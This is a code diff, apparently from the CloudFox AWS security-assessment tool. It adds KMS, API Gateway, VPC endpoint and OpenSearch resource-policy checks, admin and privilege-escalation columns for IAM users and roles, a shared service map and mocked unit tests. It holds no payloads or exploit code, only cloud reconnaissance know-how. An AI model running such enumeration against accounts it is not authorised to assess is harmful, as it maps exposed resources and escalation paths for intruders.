SkipAdminCheck bool
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
pmapperMod PmapperModule
pmapperError error
PmapperDataBasePath string
@@ -228,8 +229,12 @@ func (m *LambdasModule) PrintLambdas(outputDirectory string, verbosity int) {
func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("lambda", r)
if err != nil {
+9 -4
View File
@@ -74,6 +74,7 @@ type NetworkPortsModule struct {
AWSProfile string
WrapTable bool
Verbosity int
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
IPv4_Private []NetworkService
@@ -273,8 +274,12 @@ func (m *NetworkPortsModule) PrintNetworkPorts(outputDirectory string) {
func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan NetworkServices) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("ec2", r)
@@ -313,7 +318,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.getElastiCacheNetworkPortsPerRegion(r, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("elb", r)
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
if err != nil {
m.modLog.Error(err)
}
@@ -322,7 +327,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
m.getLBNetworkPortsPerRegion(r, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
+7 -2
View File
@@ -31,6 +31,7 @@ type OutboundAssumedRolesModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
OutboundAssumeRoleEntries []OutboundAssumeRoleEntry
@@ -294,8 +295,12 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
if err != nil {
+1 -1
View File
@@ -196,7 +196,7 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputDirectory string, verbo
func (m *IamPermissionsModule) GetGAAD() {
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
TxtLogger.Error(err.Error())
m.modLog.Error(err)
m.CommandCounter.Error++
return
}
+41
View File
@@ -26,6 +26,12 @@ type IamPrincipalsModule struct {
AWSProfile string
WrapTable bool
SkipAdminCheck bool
iamSimClient IamSimulatorModule
pmapperMod PmapperModule
pmapperError error
PmapperDataBasePath string
// Main module data
Users []User
Roles []Role
@@ -43,6 +49,8 @@ type User struct {
Name string
AttachedPolicies []string
InlinePolicies []string
Admin string
CanPrivEsc string
}
type Group struct {
@@ -62,6 +70,8 @@ type Role struct {
Name string
AttachedPolicies []string
InlinePolicies []string
Admin string
CanPrivEsc string
}
func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosity int) {
@@ -69,6 +79,7 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "principals"
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
@@ -78,6 +89,9 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
fmt.Printf("[%s][%s] Enumerating IAM Users and Roles for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.pmapperMod, m.pmapperError = InitPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines, m.PmapperDataBasePath)
m.iamSimClient = InitIamCommandClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// wg := new(sync.WaitGroup)
// done := make(chan bool)
@@ -101,6 +115,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
"Arn",
"AttachedPolicies",
"InlinePolicies",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
// If the user specified table columns, use those.
@@ -122,6 +138,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
"Arn",
//"AttachedPolicies",
//"InlinePolicies",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
// Otherwise, use the default columns.
@@ -132,11 +150,25 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
"Arn",
// "AttachedPolicies",
// "InlinePolicies",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
}
// Remove the pmapper row if there is no pmapper data
if m.pmapperError != nil {
sharedLogger.Errorf("%s - %s - No pmapper data found for this account. Skipping the pmapper column in the output table.", m.output.CallingModule, m.AWSProfile)
tableCols = removeStringFromSlice(tableCols, "CanPrivEscToAdmin?")
}
//Table rows
for i := range m.Users {
if m.pmapperError == nil {
m.Users[i].Admin, m.Users[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Users[i].Arn)
} else {
m.Users[i].Admin, m.Users[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Users[i].Arn, m.iamSimClient, localAdminMap)
}
m.output.Body = append(
m.output.Body,
[]string{
@@ -146,12 +178,19 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
m.Users[i].Arn,
strings.Join(m.Users[i].AttachedPolicies, " , "),
strings.Join(m.Users[i].InlinePolicies, " , "),
m.Users[i].Admin,
m.Users[i].CanPrivEsc,
},
)
}
for i := range m.Roles {
if m.pmapperError == nil {
m.Roles[i].Admin, m.Roles[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Roles[i].Arn)
} else {
m.Roles[i].Admin, m.Roles[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Roles[i].Arn, m.iamSimClient, localAdminMap)
}
m.output.Body = append(
m.output.Body,
[]string{
@@ -161,6 +200,8 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
m.Roles[i].Arn,
strings.Join(m.Roles[i].AttachedPolicies, " , "),
strings.Join(m.Roles[i].InlinePolicies, " , "),
m.Roles[i].Admin,
m.Roles[i].CanPrivEsc,
},
)
+7 -2
View File
@@ -29,6 +29,7 @@ type RAMModule struct {
Goroutines int
AWSProfile string
WrapTable bool
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
// Main module data
Resources []Resource
@@ -178,8 +179,12 @@ func (m *RAMModule) PrintRAM(outputDirectory string, verbosity int) {
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("ram", r)
if err != nil {
+391 -13
View File
@@ -19,6 +19,11 @@ import (
)
type ResourceTrustsModule struct {
KMSClient *sdk.KMSClientInterface
APIGatewayClient *sdk.APIGatewayClientInterface
EC2Client *sdk.AWSEC2ClientInterface
OpenSearchClient *sdk.OpenSearchClientInterface
// General configuration data
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -31,6 +36,7 @@ type ResourceTrustsModule struct {
AWSProfileProvided string
AWSProfileStub string
CloudFoxVersion string
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
Resources2 []Resource2
CommandCounter internal.CommandCounter
@@ -55,7 +61,7 @@ type Resource2 struct {
HasConditions string
}
func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity int) {
func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity int, includeKms bool) {
// These struct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
@@ -72,13 +78,21 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfileProvided, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating Resources with resource policies for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: CodeBuild, ECR, EFS, Glue, Lambda, SecretsManager, S3, SNS, SQS\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
// if kms feature flag is enabled include kms in the supported services
if includeKms {
fmt.Printf("[%s][%s] Supported Services: APIGateway, CodeBuild, ECR, EFS, Glue, KMS, Lambda, Opensearch, SecretsManager, S3, SNS, SQS, VpcEndpoint\n",
cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
} else {
fmt.Printf("[%s][%s] Supported Services: APIGateway, CodeBuild, ECR, EFS, Glue, Lambda, Opensearch, SecretsManager, S3, SNS, "+
"SQS, VpcEndpoint (KMS requires --include-kms feature flag)\n",
cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
}
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
//fire up the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
@@ -91,7 +105,7 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
go m.executeChecks(region, wg, semaphore, dataReceiver, includeKms)
}
wg.Add(1)
@@ -186,14 +200,17 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
fmt.Printf("[%s][%s] No resource policies found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfileStub), m.output.CallingModule)
}
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2, includeKms bool) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
// Use shared ServiceMap instance if provided, otherwise create a new one
servicemap := m.ServiceMap
if servicemap == nil {
servicemap = &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
@@ -234,6 +251,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
wg.Add(1)
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("lambda", r)
if err != nil {
m.modLog.Error(err)
@@ -243,6 +261,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
wg.Add(1)
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("efs", r)
if err != nil {
m.modLog.Error(err)
@@ -252,7 +271,8 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
wg.Add(1)
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
if err != nil {
m.modLog.Error(err)
}
@@ -261,6 +281,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
wg.Add(1)
m.getSecretsManagerSecretsPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("glue", r)
if err != nil {
m.modLog.Error(err)
@@ -271,6 +292,53 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.getGlueResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
if includeKms && m.KMSClient != nil {
res, err = servicemap.IsServiceInRegion("kms", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getKMSPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
if m.APIGatewayClient != nil {
res, err = servicemap.IsServiceInRegion("api-gateway", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getAPIGatewayPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
if m.EC2Client != nil {
res, err = servicemap.IsServiceInRegion("ec2", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getVPCEndpointPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
if m.OpenSearchClient != nil {
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getOpenSearchPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
}
func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone chan bool) {
@@ -306,7 +374,7 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
for _, t := range ListTopics {
var statementSummaryInEnglish string
var isInteresting string = "No"
var isInteresting = "No"
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
@@ -316,9 +384,10 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
if err != nil {
topic.Name = aws.ToString(t.TopicArn)
} else {
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
}
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
// check if topic is public or not
if topic.Policy.IsPublic() {
@@ -846,6 +915,315 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
}
}
// getKMSPoliciesPerRegion retrieves the resource policies for all KMS keys in a specified region.
// It sends the resulting Resource2 objects to the dataReceiver channel.
// It uses a semaphore to limit the number of concurrent requests and a WaitGroup to wait for all requests to complete.
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
listKeys, err := sdk.CachedKMSListKeys(*m.KMSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, key := range listKeys {
var isPublic string
var statementSummaryInEnglish string
var isInteresting = "No"
keyPolicy, err := sdk.CachedKMSGetKeyPolicy(*m.KMSClient, aws.ToString(m.Caller.Account), r, aws.ToString(key.KeyId))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if keyPolicy.IsPublic() {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
} else {
isPublic = "No"
}
if !keyPolicy.IsEmpty() {
for i, statement := range keyPolicy.Statement {
prefix := ""
if len(keyPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(key.KeyArn),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(key.KeyId),
Region: r,
Interesting: isInteresting,
}
}
}
}
}
func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
restAPIs, err := sdk.CachedApiGatewayGetRestAPIs(*m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, restAPI := range restAPIs {
if sdk.IsPublicApiGateway(&restAPI) {
continue
}
var isPublic = "No"
var statementSummaryInEnglish string
var isInteresting = "No"
if restAPI.Policy != nil && *restAPI.Policy != "" {
// remove backslashes from the policy JSON
policyJson := strings.ReplaceAll(aws.ToString(restAPI.Policy), `\"`, `"`)
restAPIPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
if err != nil {
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(restAPI.Name), err))
m.CommandCounter.Error++
continue
}
if !restAPIPolicy.IsEmpty() {
for i, statement := range restAPIPolicy.Statement {
prefix := ""
if len(restAPIPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: fmt.Sprintf("arn:aws:execute-api:%s:%s:%s/*", r, *m.Caller.Account, *restAPI.Id),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(restAPI.Name),
Region: r,
Interesting: isInteresting,
}
}
}
} else {
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: fmt.Sprintf("arn:aws:execute-api:%s:%s:%s/*", r, *m.Caller.Account, *restAPI.Id),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(restAPI.Name),
Region: r,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
vpcEndpoints, err := sdk.CachedEC2DescribeVpcEndpoints(*m.EC2Client, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, vpcEndpoint := range vpcEndpoints {
var isPublic = "No"
var statementSummaryInEnglish string
var isInteresting = "No"
if vpcEndpoint.PolicyDocument != nil && *vpcEndpoint.PolicyDocument != "" {
vpcEndpointPolicyJson := aws.ToString(vpcEndpoint.PolicyDocument)
vpcEndpointPolicy, err := policy.ParseJSONPolicy([]byte(vpcEndpointPolicyJson))
if err != nil {
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(vpcEndpoint.VpcEndpointId), err))
m.CommandCounter.Error++
continue
}
if !vpcEndpointPolicy.IsEmpty() {
for i, statement := range vpcEndpointPolicy.Statement {
prefix := ""
if len(vpcEndpointPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: fmt.Sprintf("arn:aws:ec2:%s:%s:vpc-endpoint/%s", r, aws.ToString(m.Caller.Account), aws.ToString(vpcEndpoint.VpcEndpointId)),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(vpcEndpoint.VpcEndpointId),
Region: r,
Interesting: isInteresting,
}
}
}
} else {
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: fmt.Sprintf("arn:aws:ec2:%s:%s:vpc-endpoint/%s", r, aws.ToString(m.Caller.Account), aws.ToString(vpcEndpoint.VpcEndpointId)),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(vpcEndpoint.VpcEndpointId),
Region: r,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() { <-semaphore }()
openSearchDomains, err := sdk.CachedOpenSearchListDomainNames(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
return
}
for _, openSearchDomain := range openSearchDomains {
var isPublic string
var statementSummaryInEnglish string
var isInteresting = "No"
openSearchDomainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if aws.ToBool(openSearchDomainConfig.AdvancedSecurityOptions.Options.Enabled) {
isPublic = "No"
} else {
isPublic = magenta("Yes")
isInteresting = magenta("Yes")
}
openSearchDomainStatus, err := sdk.CachedOpenSearchDescribeDomain(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
continue
}
if openSearchDomainStatus.AccessPolicies != nil && *openSearchDomainStatus.AccessPolicies != "" {
// remove backslashes from the policy JSON
policyJson := strings.ReplaceAll(aws.ToString(openSearchDomainStatus.AccessPolicies), `\"`, `"`)
openSearchDomainPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
if err != nil {
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(openSearchDomainStatus.ARN), err))
m.CommandCounter.Error++
continue
}
if !openSearchDomainPolicy.IsEmpty() {
for i, statement := range openSearchDomainPolicy.Statement {
prefix := ""
if len(openSearchDomainPolicy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
} else {
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
if isResourcePolicyInteresting(statementSummaryInEnglish) {
//magenta(statementSummaryInEnglish)
isInteresting = magenta("Yes")
}
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(openSearchDomainStatus.ARN),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(openSearchDomain.DomainName),
Region: r,
Interesting: isInteresting,
}
}
}
} else {
dataReceiver <- Resource2{
AccountID: aws.ToString(m.Caller.Account),
ARN: aws.ToString(openSearchDomainStatus.ARN),
ResourcePolicySummary: statementSummaryInEnglish,
Public: isPublic,
Name: aws.ToString(openSearchDomain.DomainName),
Region: r,
Interesting: isInteresting,
}
}
}
}
func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
@@ -905,7 +1283,7 @@ func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sy
}
func isResourcePolicyInteresting(statementSummaryInEnglish string) bool {
// check if the statement has any of the following items, but make sure the check is case insensitive
// check if the statement has any of the following items, but make sure the check is case-insensitive
// if it does, then return true
// if it doesn't, then return false
+219
View File
@@ -2,6 +2,10 @@ package aws
import (
"testing"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
func TestIsResourcePolicyInteresting(t *testing.T) {
@@ -41,3 +45,218 @@ func TestIsResourcePolicyInteresting(t *testing.T) {
})
}
}
func TestKMSResourceTrusts(t *testing.T) {
mockedKMSClient := &sdk.MockedKMSClient{}
var kmsClient sdk.KMSClientInterface = mockedKMSClient
testCases := []struct {
outputDirectory string
verbosity int
testModule ResourceTrustsModule
expectedResult []Resource2
}{
{
outputDirectory: ".",
verbosity: 2,
testModule: ResourceTrustsModule{
KMSClient: &kmsClient,
APIGatewayClient: nil,
EC2Client: nil,
AWSRegions: []string{"us-west-2"},
Caller: sts.GetCallerIdentityOutput{
Account: aws.String("123456789012"),
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
},
Goroutines: 30,
},
expectedResult: []Resource2{
{
Name: "key1",
ARN: "arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab",
},
},
},
}
for _, tc := range testCases {
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, true)
for index, expectedResource2 := range tc.expectedResult {
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
t.Fatal("Resource name does not match expected value")
}
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
t.Fatal("Resource ARN does not match expected value")
}
}
}
}
func TestAPIGatewayResourceTrusts(t *testing.T) {
mockedAPIGatewayClient := &sdk.MockedAWSAPIGatewayClient{}
var apiGatewayClient sdk.APIGatewayClientInterface = mockedAPIGatewayClient
testCases := []struct {
outputDirectory string
verbosity int
testModule ResourceTrustsModule
expectedResult []Resource2
}{
{
outputDirectory: ".",
verbosity: 2,
testModule: ResourceTrustsModule{
KMSClient: nil,
APIGatewayClient: &apiGatewayClient,
EC2Client: nil,
AWSRegions: []string{"us-west-2"},
Caller: sts.GetCallerIdentityOutput{
Account: aws.String("123456789012"),
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
},
Goroutines: 30,
},
expectedResult: []Resource2{
{
Name: "api1",
ARN: "arn:aws:execute-api:us-west-2:123456789012:abcdefg/*",
Public: "No",
Interesting: "Yes",
},
},
},
}
for _, tc := range testCases {
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
for index, expectedResource2 := range tc.expectedResult {
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
t.Fatal("Resource name does not match expected value")
}
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
t.Fatal("Resource ARN does not match expected value")
}
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
t.Fatal("Resource Public does not match expected value")
}
if expectedResource2.Interesting != tc.testModule.Resources2[index].Interesting {
t.Fatal("Resource Interesting does not match expected value")
}
}
}
}
func TestVpcEndpointResourceTrusts(t *testing.T) {
mockedEC2Client := &sdk.MockedEC2Client2{}
var ec2Client sdk.AWSEC2ClientInterface = mockedEC2Client
testCases := []struct {
outputDirectory string
verbosity int
testModule ResourceTrustsModule
expectedResult []Resource2
}{
{
outputDirectory: ".",
verbosity: 2,
testModule: ResourceTrustsModule{
KMSClient: nil,
APIGatewayClient: nil,
EC2Client: &ec2Client,
AWSRegions: []string{"us-west-2"},
Caller: sts.GetCallerIdentityOutput{
Account: aws.String("123456789012"),
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
},
Goroutines: 30,
},
expectedResult: []Resource2{
{
Name: "vpce-1234567890abcdefg",
ARN: "vpce-1234567890abcdefg",
Public: "No",
},
{
Name: "vpce-1234567890abcdefh",
ARN: "vpce-1234567890abcdefh",
Public: "No",
},
},
},
}
for _, tc := range testCases {
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
